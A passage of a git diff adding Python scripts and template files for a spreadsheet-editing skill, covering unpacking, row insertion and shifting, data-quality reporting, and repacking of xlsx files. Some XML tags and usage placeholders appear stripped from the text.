\"{text}\" → index {text_indices[col]}") + + # Step 4: Re-parse worksheet and build new row + ws_tree = ET.parse(ws_path) + root = ws_tree.getroot() + sheet_data = root.find(_tag("sheetData")) + + new_row = ET.Element(_tag("row")) + new_row.set("r", str(at)) + + all_cols = sorted( + set(list(text_cells) + list(num_cells) + list(formula_cells)), + key=col_number, + ) + + for col in all_cols: + cell = ET.SubElement(new_row, _tag("c")) + cell.set("r", f"{col}{at}") + + if col in ref_styles: + cell.set("s", str(ref_styles[col])) + + if col in text_cells: + cell.set("t", "s") + v = ET.SubElement(cell, _tag("v")) + v.text = str(text_indices[col]) + elif col in num_cells: + # Omit t attribute for numbers — "n" is the default per OOXML spec + v = ET.SubElement(cell, _tag("v")) + v.text = str(num_cells[col]) + elif col in formula_cells: + formula_text = formula_cells[col].replace("{row}", str(at)).lstrip("=") + f_el = ET.SubElement(cell, _tag("f")) + f_el.text = formula_text + # Use formula style from reference if available; it may differ + # from the data style (e.g., black font vs blue font). + # Look for the formula column's style specifically. + if col in ref_styles: + cell.set("s", str(ref_styles[col])) + + # Insert new row at the correct position in sheetData (sorted by row number) + insert_idx = 0 + for i, row_el in enumerate(list(sheet_data)): + r = row_el.get("r") + if r and int(r) > at: + insert_idx = i + break + insert_idx = i + 1 + + sheet_data.insert(insert_idx, new_row) + + print(f"\nStep 3: Inserted row {at} with {len(all_cols)} cells:") + for col in all_cols: + if col in text_cells: + print(f" {col}{at} = \"{text_cells[col]}\" (text)") + elif col in num_cells: + print(f" {col}{at} = {num_cells[col]} (number)") + elif col in formula_cells: + ftext = formula_cells[col].replace("{row}", str(at)) + print(f" {col}{at} = {ftext} (formula)") + + # Step 5: Update dimension + for dim in root.iter(_tag("dimension")): + old_ref = dim.get("ref", "") + if ":" in old_ref: + start_ref, end_ref = old_ref.split(":") + end_row = int(re.search(r"(\d+)", end_ref).group(1)) + end_col = re.match(r"([A-Z]+)", end_ref).group(1) + # Dimension was already shifted by shift_rows, just verify + max_col = max(col_number(end_col), max(col_number(c) for c in all_cols)) + max_col_letter = end_col if col_number(end_col) >= max_col else col + new_ref = f"{start_ref}:{max_col_letter}{end_row}" + if new_ref != old_ref: + dim.set("ref", new_ref) + print(f"\n Dimension: {old_ref} → {new_ref}") + + _write_tree(ws_tree, ws_path) + + print(f"\nDone. Row {at} inserted successfully.") + print(f"\nNext: python3 xlsx_pack.py {args.work_dir} output.xlsx") + + +if __name__ == "__main__": + main() diff --git a/skills/minimax-xlsx/scripts/xlsx_pack.py b/skills/minimax-xlsx/scripts/xlsx_pack.py new file mode 100644 index 0000000..41bc208 --- /dev/null +++ b/skills/minimax-xlsx/scripts/xlsx_pack.py @@ -0,0 +1,87 @@ +#!/usr/bin/env python3 +# SPDX-License-Identifier: MIT +""" +xlsx_pack.py — Pack a working directory back into a valid xlsx file. + +Usage: + python3 xlsx_pack.py + +Requirements: + - source_dir must contain [Content_Types].xml at its root + - All XML files are re-validated for well-formedness before packing + +The resulting xlsx is a valid ZIP archive with correct OOXML structure. +""" + +import sys +import os +import zipfile +import xml.etree.ElementTree as ET + + +def validate_xml_files(source_dir: str) -> list[str]: + """Return list of XML files that fail to parse.""" + bad = [] + for dirpath, _, filenames in os.walk(source_dir): + for fname in filenames: + if fname.endswith(".xml") or fname.endswith(".rels"): + fpath = os.path.join(dirpath, fname) + try: + ET.parse(fpath) + except ET.ParseError as e: + rel = os.path.relpath(fpath, source_dir) + bad.append(f"{rel}: {e}") + return bad + + +def pack(source_dir: str, xlsx_path: str) -> None: + if not os.path.isdir(source_dir): + print(f"ERROR: Directory not found: {source_dir}", file=sys.stderr) + sys.exit(1) + + content_types = os.path.join(source_dir, "[Content_Types].xml") + if not os.path.isfile(content_types): + print( + f"ERROR: Missing [Content_Types].xml in {source_dir}\n" + " This file is required at the root of every valid xlsx package.", + file=sys.stderr, + ) + sys.exit(1) + + # Validate XML well-formedness before packing + print("Validating XML files...") + bad_files = validate_xml_files(source_dir) + if bad_files: + print("ERROR: The following files have XML parse errors:", file=sys.stderr) + for b in bad_files: + print(f" {b}", file=sys.stderr) + print( + "\nFix all XML errors before packing. " + "A malformed xlsx cannot be opened by Excel or LibreOffice.", + file=sys.stderr, + ) + sys.exit(1) + + print("✓ All XML files are well-formed") + + # Count files to pack + file_count = sum(len(files) for _, _, files in os.walk(source_dir)) + + with zipfile.ZipFile(xlsx_path, "w", compression=zipfile.ZIP_DEFLATED) as z: + for dirpath, _, filenames in os.walk(source_dir): + for fname in filenames: + fpath = os.path.join(dirpath, fname) + arcname = os.path.relpath(fpath, source_dir) + z.write(fpath, arcname) + + size = os.path.getsize(xlsx_path) + print(f"Packed {file_count} files → '{xlsx_path}' ({size:,} bytes)") + print("\nNext step: run formula_check.py to validate formulas:") + print(f" python3 formula_check.py {xlsx_path}") + + +if __name__ == "__main__": + if len(sys.argv) != 3: + print("Usage: xlsx_pack.py ") + sys.exit(1) + pack(sys.argv[1], sys.argv[2]) diff --git a/skills/minimax-xlsx/scripts/xlsx_reader.py b/skills/minimax-xlsx/scripts/xlsx_reader.py new file mode 100644 index 0000000..00e3432 --- /dev/null +++ b/skills/minimax-xlsx/scripts/xlsx_reader.py @@ -0,0 +1,362 @@ +#!/usr/bin/env python3 +# SPDX-License-Identifier: MIT +""" +xlsx_reader.py — Structure discovery and data analysis tool for Excel/CSV files. + +Usage: + python3 xlsx_reader.py # full structure report + python3 xlsx_reader.py --sheet Sales # analyze one sheet + python3 xlsx_reader.py --json # machine-readable output + python3 xlsx_reader.py --quality # data quality audit only + +Supports: .xlsx, .xlsm, .csv, .tsv +Does NOT modify the source file in any way. + +Exit codes: + 0 — success + 1 — file not found / unsupported format / encoding failure +""" + +import sys +import json +import argparse +from pathlib import Path + + +# --------------------------------------------------------------------------- +# Format detection and loading +# --------------------------------------------------------------------------- + +def detect_and_load(file_path: str, sheet_name_filter: str | None = None) -> dict: + """ + Load file into {sheet_name: DataFrame} dict. + CSV/TSV files are mapped to a single-key dict using the file stem as key. + + Raises ValueError for unsupported formats or encoding failures. + """ + try: + import pandas as pd + except ImportError: + raise RuntimeError( + "pandas is not installed. Run: pip install pandas openpyxl" + ) + + path = Path(file_path) + if not path.exists(): + raise FileNotFoundError(f"File not found: {file_path}") + + suffix = path.suffix.lower() + + if suffix in (".xlsx", ".xlsm"): + target = sheet_name_filter if sheet_name_filter else None + result = pd.read_excel(file_path, sheet_name=target) + # pd.read_excel with sheet_name=None returns dict; with a name, returns DataFrame + if isinstance(result, dict): + return result + else: + return {sheet_name_filter: result} + + elif suffix in (".csv", ".tsv"): + sep = "\t" if suffix == ".tsv" else "," + encodings = ["utf-8-sig", "gbk", "utf-8", "latin-1"] + last_error = None + for enc in encodings: + try: + import pandas as pd + df = pd.read_csv(file_path, sep=sep, encoding=enc) + df._reader_encoding = enc # attach metadata (non-standard, for reporting) + return {path.stem: df} + except (UnicodeDecodeError, Exception) as e: + last_error = e + continue + raise ValueError( + f"Cannot decode {file_path}. Tried encodings: {encodings}. " + f"Last error: {last_error}" + ) + + elif suffix == ".xls": + raise ValueError( + ".xls is a legacy binary format not supported by this tool. " + "Please open the file in Excel and save as .xlsx, then retry." + ) + + else: + raise ValueError( + f"Unsupported file format: {suffix}. " + "Supported formats: .xlsx, .xlsm, .csv, .tsv" + ) + + +# --------------------------------------------------------------------------- +# Structure discovery +# --------------------------------------------------------------------------- + +def explore_structure(sheets: dict) -> dict: + """ + Return a structured dict describing each sheet. + Keys: sheet_name -> {shape, columns, dtypes, null_counts, preview} + """ + result = {} + for sheet_name, df in sheets.items(): + null_counts = df.isnull().sum() + null_info = { + col: {"count": int(cnt), "pct": round(cnt / max(len(df), 1) * 100, 1)} + for col, cnt in null_counts.items() + if cnt > 0 + } + result[sheet_name] = { + "shape": {"rows": df.shape[0], "cols": df.shape[1]}, + "columns": list(df.columns), + "dtypes": {col: str(dtype) for col, dtype in df.dtypes.items()}, + "null_columns": null_info, + "preview": df.head(5).to_dict(orient="records"), + } + return result + + +# --------------------------------------------------------------------------- +# Data quality audit +# --------------------------------------------------------------------------- + +def audit_quality(sheets: dict) -> dict: + """ + Return data quality findings per sheet. + Checks: nulls, duplicates, mixed-type columns, potential year formatting issues. + """ + import pandas as pd + + findings = {} + for sheet_name, df in sheets.items(): + sheet_findings = [] + + # Null values + null_counts = df.isnull().sum() + for col, cnt in null_counts.items(): + if cnt > 0: + pct = round(cnt / max(len(df), 1) * 100, 1) + sheet_findings.append({ + "type": "null_values", + "column": col, + "count": int(cnt), + "pct": pct, + "note": f"Column '{col}' has {cnt} null values ({pct}%). " + "If this column contains Excel formulas, null values may " + "indicate that the formula cache has not been populated " + "(file was never opened in Excel after the formulas were written)." + }) + + # Duplicate rows + dup_count = int(df.duplicated().sum()) + if dup_count > 0: + sheet_findings.append({ + "type": "duplicate_rows", + "count": dup_count, + "note": f"{dup_count} fully duplicate rows found." + }) + + # Mixed-type object columns (numeric data stored as text) + for col in df.select_dtypes(include="object").columns: + numeric_converted = pd.to_numeric(df[col], errors="coerce") + convertible = int(numeric_converted.notna().sum()) + non_null_total = int(df[col].notna().sum()) + if 0 < convertible < non_null_total: + sheet_findings.append({ + "type": "mixed_type", + "column": col, + "convertible_to_numeric": convertible, + "non_convertible": non_null_total - convertible, + "note": f"Column '{col}' appears to contain mixed types: " + f"{convertible} values can be parsed as numbers, " + f"{non_null_total - convertible} cannot. " + "Use pd.to_numeric(df[col], errors='coerce') to unify." + }) + + # Year column formatting (e.g., 2024.0 stored as float) + for col in df.select_dtypes(include="number").columns: + col_lower = str(col).lower() + # "年" is the Chinese character for "year" — detect year columns in CJK spreadsheets + if "year" in col_lower or "yr" in col_lower or "年" in col_lower: + if df[col].dropna().between(1900, 2200).all(): + if df[col].dtype == float: + sheet_findings.append({ + "type": "year_as_float", + "column": col, + "note": f"Column '{col}' appears to be a year column stored as float " + "(e.g., 2024.0). Convert with df[col].astype(int).astype(str) " + "to get clean year strings like '2024'." + }) + + # Outliers via IQR on numeric columns + for col in df.select_dtypes(include="number").columns: + series = df[col].dropna() + if len(series) < 4: + continue + Q1, Q3 = series.quantile(0.25), series.quantile(0.75) + IQR = Q3 - Q1 + if IQR == 0: + continue + outlier_mask = (df[col] < Q1 - 1.5 * IQR) | (df[col] > Q3 + 1.5 * IQR) + outlier_count = int(outlier_mask.sum()) + if outlier_count > 0: + sheet_findings.append({ + "type": "outliers_iqr", + "column": col, + "count": outlier_count, + "note": f"Column '{col}' has {outlier_count} potential outlier(s) " + f"(outside 1.5×IQR bounds: [{Q1 - 1.5*IQR:.2f}, {Q3 + 1.5*IQR:.2f}])." + }) + + findings[sheet_name] = sheet_findings + + return findings + + +# --------------------------------------------------------------------------- +# Summary statistics +# --------------------------------------------------------------------------- + +def compute_stats(sheets: dict) -> dict: + """Compute descriptive statistics for numeric columns per sheet.""" + stats = {} + for sheet_name, df in sheets.items(): + numeric_df = df.select_dtypes(include="number") + if numeric_df.empty: + stats[sheet_name] = {} + continue + desc = numeric_df.describe().round(4) + stats[sheet_name] = desc.to_dict() + return stats + + +# --------------------------------------------------------------------------- +# Human-readable report rendering +# --------------------------------------------------------------------------- + +def render_report( + file_path: str, + structure: dict, + quality: dict, + stats: dict, +) -> str: + lines = [] + p = lines.append + + p("=" * 60) + p(f"ANALYSIS REPORT: {Path(file_path).name}") + p("=" * 60) + + # File overview + sheet_list = list(structure.keys()) + total_rows = sum(s["shape"]["rows"] for s in structure.values()) + p(f"\nSheets ({len(sheet_list)}): {', '.join(sheet_list)}") + p(f"Total rows across all sheets: {total_rows:,}") + + for sheet_name, info in structure.items(): + p(f"\n{'─' * 50}") + p(f"Sheet: {sheet_name}") + p(f"{'─' * 50}") + p(f" Size: {info['shape']['rows']:,} rows × {info['shape']['cols']} cols") + p(f" Columns: {info['columns']}") + + # Data types + p("\n Column types:") + for col, dtype in info["dtypes"].items(): + p(f" {col}: {dtype}") + + # Nulls + if info["null_columns"]: + p("\n Null values (columns with nulls only):") + for col, null_info in info["null_columns"].items(): + p(f" {col}: {null_info['count']} nulls ({null_info['pct']}%)") + else: + p("\n Null values: none") + + # Stats + sheet_stats = stats.get(sheet_name, {}) + if sheet_stats: + p("\n Numeric column statistics:") + numeric_cols = list(sheet_stats.keys()) + # Show only first 6 to keep report readable + for col in numeric_cols[:6]: + col_stats = sheet_stats[col] + p(f" {col}:") + p(f" count={col_stats.get('count', 'N/A')} " + f"mean={col_stats.get('mean', 'N/A')} " + f"min={col_stats.get('min', 'N/A')} " + f"max={col_stats.get('max', 'N/A')}") + if len(numeric_cols) > 6: + p(f" ... and {len(numeric_cols) - 6} more numeric columns") + + # Quality findings for this sheet + sheet_quality = quality.get(sheet_name, []) + if sheet_quality: + p(f"\n Data quality issues ({len(sheet_quality)} found):") + for finding in sheet_quality: + p(f" [{finding['type'].upper()}] {finding['note']}") + else: + p("\n Data quality: no issues found") + + # Preview + if info["preview"]: + p("\n Preview (first 3 rows):") + import pandas as pd + preview_df = pd.DataFrame(info["preview"][:3]) + for line in preview_df.to_string(index=False).splitlines(): + p(f" {line}") + + p("\n" + "=" * 60) + quality_issue_count = sum(len(v) for v in quality.values()) + if quality_issue_count == 0: + p("RESULT: No data quality issues detected.") + else: + p(f"RESULT: {quality_issue_count} data quality issue(s) found. See details above.") + p("=" * 60) + + return "\n".join(lines) + + +# --------------------------------------------------------------------------- +# CLI entry point +# --------------------------------------------------------------------------- + +def main() -> None: + parser = argparse.ArgumentParser( + description="Read and analyze Excel/CSV files without modifying them." + ) + parser.add_argument("file", help="Path to .xlsx, .xlsm, .csv, or .tsv file") + parser.add_argument("--sheet", help="Analyze a specific sheet only", default=None) + parser.add_argument( + "--json", action="store_true", help="Output machine-readable JSON" + ) + parser.add_argument( + "--quality", action="store_true", + help="Run data quality audit only (skip stats)" + ) + args = parser.parse_args() + + try: + sheets = detect_and_load(args.file, sheet_name_filter=args.sheet) + except (FileNotFoundError, ValueError, RuntimeError) as e: + print(f"ERROR: {e}", file=sys.stderr) + sys.exit(1) + + structure = explore_structure(sheets) + quality = audit_quality(sheets) + stats = {} if args.quality else compute_stats(sheets) + + if args.json: + output = { + "file": args.file, + "structure": structure, + "quality": quality, + "stats": stats, + } + # Convert preview records to serializable form (handle non-JSON types) + print(json.dumps(output, indent=2, ensure_ascii=False, default=str)) + else: + report = render_report(args.file, structure, quality, stats) + print(report) + + +if __name__ == "__main__": + main() diff --git a/skills/minimax-xlsx/scripts/xlsx_shift_rows.py b/skills/minimax-xlsx/scripts/xlsx_shift_rows.py new file mode 100644 index 0000000..5fef29d --- /dev/null +++ b/skills/minimax-xlsx/scripts/xlsx_shift_rows.py @@ -0,0 +1,396 @@ +#!/usr/bin/env python3 +# SPDX-License-Identifier: MIT +""" +xlsx_shift_rows.py — Shift all row references in an unpacked xlsx working directory +after inserting or deleting rows. + +Usage: + # Insert 2 rows at row 5 (rows 5+ shift down by 2) + python3 xlsx_shift_rows.py insert 5 2 + + # Delete 1 row at row 8 (rows 9+ shift up by 1) + python3 xlsx_shift_rows.py delete 8 1 + +What it updates in every XML file under : + - attributes in worksheet sheetData + - cell address attributes in worksheet sheetData + - formula text: absolute row references (e.g. B7, $B$7, $B7) in all sheets + - ranges + - ranges + - ranges + - extent marker + - Table
in xl/tables/*.xml + - Chart series and range references in xl/charts/*.xml + - PivotCache source in xl/pivotCaches/*.xml + +IMPORTANT: Run this script on the UNPACKED directory before repacking. +After running, repack with xlsx_pack.py and re-validate with formula_check.py. + +Limitations: + - Named ranges in workbook.xml are NOT updated automatically. + Review them manually after running this script. + - Structured table references (Table[@Column]) are NOT updated. + - External workbook links in xl/externalLinks/ are NOT updated. +""" + +import sys +import os +import re +import xml.etree.ElementTree as ET +import xml.dom.minidom + + +def col_letter(n: int) -> str: + """Convert 1-based column number to Excel column letter(s).""" + r = "" + while n > 0: + n, rem = divmod(n - 1, 26) + r = chr(65 + rem) + r + return r + + +def col_number(s: str) -> int: + """Convert Excel column letter(s) to 1-based column number.""" + n = 0 + for c in s.upper(): + n = n * 26 + (ord(c) - 64) + return n + + +# --------------------------------------------------------------------------- +# Core shifting logic for formula strings +# --------------------------------------------------------------------------- + +def _shift_refs(text: str, at: int, delta: int) -> str: + """Shift cell references in a non-quoted formula fragment.""" + def replacer(m: re.Match) -> str: + dollar_col = m.group(1) # "$" or "" + col_part = m.group(2) # e.g. "B" or "AB" + dollar_row = m.group(3) # "$" or "" + row_str = m.group(4) # e.g. "7" + row = int(row_str) + if row >= at: + row = max(1, row + delta) + return f"{dollar_col}{col_part}{dollar_row}{row}" + + pattern = r'(\$?)([A-Z]+)(\$?)(\d+)' + return re.sub(pattern, replacer, text) + + +def shift_formula(formula: str, at: int, delta: int) -> str: + """ + Shift absolute and mixed row references >= `at` by `delta` in a formula string. + + Handles: + B7 (relative col, absolute row — shifts if row >= at) + $B$7 (absolute col, absolute row — shifts) + $B7 (absolute col, relative row — shifts) + B$7 (relative col, absolute — shifts) + BUT NOT: B:B (whole-column reference — left as-is) + + Skips content inside single-quoted sheet name prefixes to avoid + corrupting names like 'Budget FY2025' (where FY2025 is NOT a cell ref). + + Does NOT handle: + - Named ranges + - Structured references (Table[@Col]) + - R1C1 notation + """ + # Split on quoted sheet names: 'Sheet Name' portions are odd-indexed + segments = re.split(r"('[^']*(?:''[^']*)*')", formula) + result = [] + for i, seg in enumerate(segments): + if i % 2 == 1: + result.append(seg) + else: + result.append(_shift_refs(seg, at, delta)) + return "".join(result) + + +def shift_sqref(sqref: str, at: int, delta: int) -> str: + """ + Shift row references in a sqref string (space-separated cell/range addresses). + E.g. "A5:D20 B30" → shift rows >= 5 by delta. + """ + parts = sqref.split() + result = [] + for part in parts: + if ':' in part: + left, right = part.split(':', 1) + left = shift_formula(left, at, delta) + right = shift_formula(right, at, delta) + result.append(f"{left}:{right}") + else: + result.append(shift_formula(part, at, delta)) + return " ".join(result) + + +def shift_chart_range(text: str, at: int, delta: int) -> str: + """ + Shift row references inside a chart range formula like: + Sheet1!$B$5:$B$20 + 'Q1 Data'!$A$3:$A$15 + """ + # Split on the "!" to preserve sheet name + if '!' not in text: + return text + bang = text.index('!') + sheet_part = text[:bang + 1] + range_part = text[bang + 1:] + return sheet_part + shift_formula(range_part, at, delta) + + +# --------------------------------------------------------------------------- +# XML file processors +# --------------------------------------------------------------------------- + +NS_MAIN = "http://schemas.openxmlformats.org/spreadsheetml/2006/main" +NS_DRAWING = "http://schemas.openxmlformats.org/drawingml/2006/chartDrawing" + +# Namespace map used by ElementTree for tag lookup +NSMAP = {"ss": NS_MAIN} + + +def _tag(local: str) -> str: + return f"{{{NS_MAIN}}}{local}" + + +def process_worksheet(path: str, at: int, delta: int) -> int: + """Update row/cell references in a worksheet XML. Returns change count.""" + tree = ET.parse(path) + root = tree.getroot() + changes = 0 + + # 1. + for dim in root.iter(_tag("dimension")): + old = dim.get("ref", "") + new = shift_sqref(old, at, delta) + if new != old: + dim.set("ref", new) + changes += 1 + + # 2. and inside sheetData + sheet_data = root.find(_tag("sheetData")) + if sheet_data is not None: + rows_to_reorder = [] + for row_el in list(sheet_data): + r_str = row_el.get("r") + if r_str is None: + continue + r = int(r_str) + if r >= at: + new_r = max(1, r + delta) + row_el.set("r", str(new_r)) + changes += 1 + # Update each cell's r attribute + for cell_el in row_el: + cell_ref = cell_el.get("r", "") + if cell_ref: + new_ref = shift_formula(cell_ref, at, delta) + if new_ref != cell_ref: + cell_el.set("r", new_ref) + changes += 1 + + # Also update formulas in every row (formulas can reference any row) + for cell_el in row_el: + f_el = cell_el.find(_tag("f")) + if f_el is not None and f_el.text: + new_f = shift_formula(f_el.text, at, delta) + if new_f != f_el.text: + f_el.text = new_f + changes += 1 + + # 3. + for mc in root.iter(_tag("mergeCell")): + old = mc.get("ref", "") + new = shift_sqref(old, at, delta) + if new != old: + mc.set("ref", new) + changes += 1 + + # 4. + for cf in root.iter(_tag("conditionalFormatting")): + old = cf.get("sqref", "") + new = shift_sqref(old, at, delta) + if new != old: + cf.set("sqref", new) + changes += 1 + + # 5. + for dv in root.iter(_tag("dataValidation")): + old = dv.get("sqref", "") + new = shift_sqref(old, at, delta) + if new != old: + dv.set("sqref", new) + changes += 1 + + if changes > 0: + _write_tree(tree, path) + return changes + + +def process_chart(path: str, at: int, delta: int) -> int: + """Update data range references in a chart XML.""" + # Charts use DrawingML namespace; we look for elements with range strings + with open(path, "r", encoding="utf-8") as fh: + content = fh.read() + + # Pattern matches content of Sheet1!$A$1:$A$10 style elements + def replace_f(m: re.Match) -> str: + tag_open = m.group(1) + inner = m.group(2) + tag_close = m.group(3) + new_inner = shift_chart_range(inner, at, delta) + return f"{tag_open}{new_inner}{tag_close}" + + new_content = re.sub(r'(<(?:[^:>]+:)?f>)([^<]+)(]+:)?f>)', + replace_f, content) + changes = content != new_content + if changes: + with open(path, "w", encoding="utf-8") as fh: + fh.write(new_content) + return 1 if changes else 0 + + +def process_table(path: str, at: int, delta: int) -> int: + """Update the ref attribute on the
root element.""" + tree = ET.parse(path) + root = tree.getroot() + # The root element IS the table + old = root.get("ref", "") + if not old: + return 0 + new = shift_sqref(old, at, delta) + if new == old: + return 0 + root.set("ref", new) + _write_tree(tree, path) + return 1 + + +def process_pivot_cache(path: str, at: int, delta: int) -> int: + """Update worksheetSource ref in a pivot cache definition.""" + tree = ET.parse(path) + root = tree.getroot() + changes = 0 + # Look for + for ws in root.iter(): + if ws.tag.endswith("}worksheetSource") or ws.tag == "worksheetSource": + old = ws.get("ref", "") + if old: + new = shift_sqref(old, at, delta) + if new != old: + ws.set("ref", new) + changes += 1 + if changes: + _write_tree(tree, path) + return changes + + +def _write_tree(tree: ET.ElementTree, path: str) -> None: + """Write ElementTree back to file with pretty-printing.""" + tree.write(path, encoding="unicode", xml_declaration=False) + # Re-pretty-print for readability + with open(path, "r", encoding="utf-8") as fh: + raw = fh.read() + try: + dom = xml.dom.minidom.parseString(raw.encode("utf-8")) + pretty = dom.toprettyxml(indent=" ", encoding="utf-8").decode("utf-8") + lines = [line for line in pretty.splitlines() if line.strip()] + with open(path, "w", encoding="utf-8") as fh: + fh.write("\n".join(lines) + "\n") + except Exception: + pass # If pretty-print fails, leave the file as-is + + +# --------------------------------------------------------------------------- +# Main driver +# --------------------------------------------------------------------------- + +def main() -> None: + if len(sys.argv) < 5: + print(__doc__) + sys.exit(1) + + work_dir = sys.argv[1] + operation = sys.argv[2].lower() + at = int(sys.argv[3]) + count = int(sys.argv[4]) + + if operation not in ("insert", "delete"): + print(f"ERROR: operation must be 'insert' or 'delete', got '{operation}'") + sys.exit(1) + + if operation == "insert": + delta = count + else: + delta = -count + + if not os.path.isdir(work_dir): + print(f"ERROR: Directory not found: {work_dir}") + sys.exit(1) + + print(f"Operation : {operation} {count} row(s) at row {at} (delta={delta:+d})") + print(f"Work dir : {work_dir}") + print() + + total_changes = 0 + + # Process all worksheets + ws_dir = os.path.join(work_dir, "xl", "worksheets") + if os.path.isdir(ws_dir): + for fname in sorted(os.listdir(ws_dir)): + if fname.endswith(".xml"): + fpath = os.path.join(ws_dir, fname) + n = process_worksheet(fpath, at, delta) + if n: + print(f" Updated {n:3d} references in xl/worksheets/{fname}") + total_changes += n + + # Process all charts + charts_dir = os.path.join(work_dir, "xl", "charts") + if os.path.isdir(charts_dir): + for fname in sorted(os.listdir(charts_dir)): + if fname.endswith(".xml"): + fpath = os.path.join(charts_dir, fname) + n = process_chart(fpath, at, delta) + if n: + print(f" Updated chart ranges in xl/charts/{fname}") + total_changes += n + + # Process all tables + tables_dir = os.path.join(work_dir, "xl", "tables") + if os.path.isdir(tables_dir): + for fname in sorted(os.listdir(tables_dir)): + if fname.endswith(".xml"): + fpath = os.path.join(tables_dir, fname) + n = process_table(fpath, at, delta) + if n: + print(f" Updated table ref in xl/tables/{fname}") + total_changes += n + + # Process pivot cache definitions + cache_dir = os.path.join(work_dir, "xl", "pivotCaches") + if os.path.isdir(cache_dir): + for fname in sorted(os.listdir(cache_dir)): + if "Definition" in fname and fname.endswith(".xml"): + fpath = os.path.join(cache_dir, fname) + n = process_pivot_cache(fpath, at, delta) + if n: + print(f" Updated pivot source range in xl/pivotCaches/{fname}") + total_changes += n + + print() + print(f"Total changes: {total_changes}") + print() + print("IMPORTANT: Review named ranges in xl/workbook.xml manually.") + print(" Structured table references (Table[@Col]) are NOT updated.") + print() + print("Next steps:") + print(" 1. Review the changes above") + print(f" 2. python3 xlsx_pack.py {work_dir} output.xlsx") + print(" 3. python3 formula_check.py output.xlsx") + + +if __name__ == "__main__": + main() diff --git a/skills/minimax-xlsx/scripts/xlsx_unpack.py b/skills/minimax-xlsx/scripts/xlsx_unpack.py new file mode 100644 index 0000000..99580ac --- /dev/null +++ b/skills/minimax-xlsx/scripts/xlsx_unpack.py @@ -0,0 +1,130 @@ +#!/usr/bin/env python3 +# SPDX-License-Identifier: MIT +""" +xlsx_unpack.py — Unpack an xlsx file into a working directory for XML editing. + +Usage: + python3 xlsx_unpack.py + +What it does: +1. Unzips the xlsx (which is a ZIP archive) +2. Pretty-prints all XML and .rels files for readability +3. Prints a summary of key files to edit +""" + +import sys +import zipfile +import os +import shutil +import xml.dom.minidom + + +def pretty_print_xml(content: bytes) -> str: + """Pretty-print XML bytes. Returns original content on parse failure.""" + try: + dom = xml.dom.minidom.parseString(content) + pretty = dom.toprettyxml(indent=" ", encoding="utf-8").decode("utf-8") + # Remove the extra blank lines toprettyxml adds + lines = [line for line in pretty.splitlines() if line.strip()] + return "\n".join(lines) + "\n" + except Exception: + return content.decode("utf-8", errors="replace") + + +def unpack(xlsx_path: str, output_dir: str) -> None: + if not os.path.isfile(xlsx_path): + print(f"ERROR: File not found: {xlsx_path}", file=sys.stderr) + sys.exit(1) + + if not xlsx_path.lower().endswith((".xlsx", ".xlsm")): + print(f"WARNING: '{xlsx_path}' does not have an .xlsx/.xlsm extension", file=sys.stderr) + + if os.path.exists(output_dir): + shutil.rmtree(output_dir) + os.makedirs(output_dir) + + try: + with zipfile.ZipFile(xlsx_path, "r") as z: + # Validate member paths to prevent zip-slip (path traversal) attacks + for member in z.namelist(): + member_path = os.path.realpath(os.path.join(output_dir, member)) + if not member_path.startswith(os.path.realpath(output_dir) + os.sep) and member_path != os.path.realpath(output_dir): + print(f"ERROR: Zip entry '{member}' would escape target directory (path traversal blocked)", file=sys.stderr) + shutil.rmtree(output_dir, ignore_errors=True) + sys.exit(1) + z.extractall(output_dir) + except zipfile.BadZipFile: + shutil.rmtree(output_dir, ignore_errors=True) + print(f"ERROR: '{xlsx_path}' is not a valid ZIP/xlsx file", file=sys.stderr) + sys.exit(1) + + # Pretty-print XML and .rels files + xml_count = 0 + for dirpath, _, filenames in os.walk(output_dir): + for fname in filenames: + if fname.endswith(".xml") or fname.endswith(".rels"): + fpath = os.path.join(dirpath, fname) + with open(fpath, "rb") as f: + raw = f.read() + pretty = pretty_print_xml(raw) + with open(fpath, "w", encoding="utf-8") as f: + f.write(pretty) + xml_count += 1 + + print(f"Unpacked '{xlsx_path}' → '{output_dir}'") + print(f"Pretty-printed {xml_count} XML/rels files\n") + + # Print key files grouped by category + categories = { + "Package root": ["[Content_Types].xml", "_rels/.rels"], + "Workbook": ["xl/workbook.xml", "xl/_rels/workbook.xml.rels"], + "Styles & Strings": ["xl/styles.xml", "xl/sharedStrings.xml"], + "Worksheets": [], + } + + all_files = [] + for dirpath, _, filenames in os.walk(output_dir): + for fname in filenames: + rel = os.path.relpath(os.path.join(dirpath, fname), output_dir) + all_files.append(rel) + + # Collect worksheets + for rel in sorted(all_files): + if rel.startswith("xl/worksheets/") and rel.endswith(".xml"): + categories["Worksheets"].append(rel) + + print("Key files to inspect/edit:") + for category, files in categories.items(): + if not files: + continue + print(f"\n [{category}]") + for f in files: + full = os.path.join(output_dir, f) + if os.path.isfile(full): + size = os.path.getsize(full) + print(f" {f} ({size:,} bytes)") + else: + print(f" {f} (not found)") + + # Warn about high-risk files present + risky = { + "xl/vbaProject.bin": "VBA macros — DO NOT modify", + "xl/pivotTables": "Pivot tables — update source ranges carefully if shifting rows", + "xl/charts": "Charts — update data ranges if shifting rows", + } + print("\n [High-risk content detected:]") + found_any = False + for path, warning in risky.items(): + full = os.path.join(output_dir, path) + if os.path.exists(full): + print(f" ⚠️ {path} — {warning}") + found_any = True + if not found_any: + print(" ✓ None (safe to edit)") + + +if __name__ == "__main__": + if len(sys.argv) != 3: + print("Usage: xlsx_unpack.py ") + sys.exit(1) + unpack(sys.argv[1], sys.argv[2]) diff --git a/skills/minimax-xlsx/templates/minimal_xlsx/[Content_Types].xml b/skills/minimax-xlsx/templates/minimal_xlsx/[Content_Types].xml new file mode 100644 index 0000000..956b440 --- /dev/null +++ b/skills/minimax-xlsx/templates/minimal_xlsx/[Content_Types].xml @@ -0,0 +1,9 @@ + + + + + + + + + diff --git a/skills/minimax-xlsx/templates/minimal_xlsx/_rels/.rels b/skills/minimax-xlsx/templates/minimal_xlsx/_rels/.rels new file mode 100644 index 0000000..a0af25a --- /dev/null +++ b/skills/minimax-xlsx/templates/minimal_xlsx/_rels/.rels @@ -0,0 +1,6 @@ + + + + diff --git a/skills/minimax-xlsx/templates/minimal_xlsx/xl/_rels/workbook.xml.rels b/skills/minimax-xlsx/templates/minimal_xlsx/xl/_rels/workbook.xml.rels new file mode 100644 index 0000000..9758c18 --- /dev/null +++ b/skills/minimax-xlsx/templates/minimal_xlsx/xl/_rels/workbook.xml.rels @@ -0,0 +1,19 @@ + + + + + + + diff --git a/skills/minimax-xlsx/templates/minimal_xlsx/xl/sharedStrings.xml b/skills/minimax-xlsx/templates/minimal_xlsx/xl/sharedStrings.xml new file mode 100644 index 0000000..f00b424 --- /dev/null +++ 